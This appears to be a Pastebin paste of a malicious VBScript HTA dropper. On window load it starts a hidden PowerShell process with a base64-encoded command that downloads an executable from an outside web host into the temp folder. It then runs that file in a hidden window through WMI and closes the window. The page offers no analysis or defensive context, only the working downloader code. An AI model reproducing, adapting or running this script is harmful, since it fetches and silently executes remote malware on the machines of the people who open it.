Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script language="VBScript">
- Function var_lollann()
- Dim cmanes
- Dim cmanes1
- Dim cmanes2
- Dim cmanes3
- Dim cmanes4
- Set cmanes = CreateObject("Wscript.Shell")
- Dim cmanes5
- Dim cmanes6
- Dim cmanes7
- Dim cmanes8
- temp = cmanes.expandEnvironmentStrings("%temp%")
- Dim cmanes9
- Dim cmanes10
- Dim cmanes11
- Dim cmanes12
- Dim cmanes13
- Dim cmanes14
- cmanes.run "powershell -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGUAbQBwAGkAcgBlAC0AZQB5AGUAdwBlAGEAcgAuAGMAbwBtAC8AbABvAGcAcwAvADgAMQAuAGUAeABlACIALAAiACQAZQBuAHYAOgB0AGUAbQBwAFwAbgB2AGIAYQBjAGsAZQBuAGQALgBlAHgAZQAiACkAKQA7AA==", 0, true
- Dim cmanes15
- Dim cmanes16
- Dim cmanes17
- Dim cmanes18
- End Function
- Sub window_onload
- const impersonation = 3
- Const HIDDEN_WINDOW = 12
- Set Locator = CreateObject("WbemScripting.SWbemLocator")
- Set Service = Locator.ConnectServer()
- Service.Security_.ImpersonationLevel=impersonation
- Set objStartup = Service.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = HIDDEN_WINDOW
- Set Process = Service.Get("Win32_Process")
- Error = Process.Create("cmd /c %temp%\nvbackend.exe", null, objConfig, intProcessID)
- window.close()
- end sub
- var_lollann
- self.close
- </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement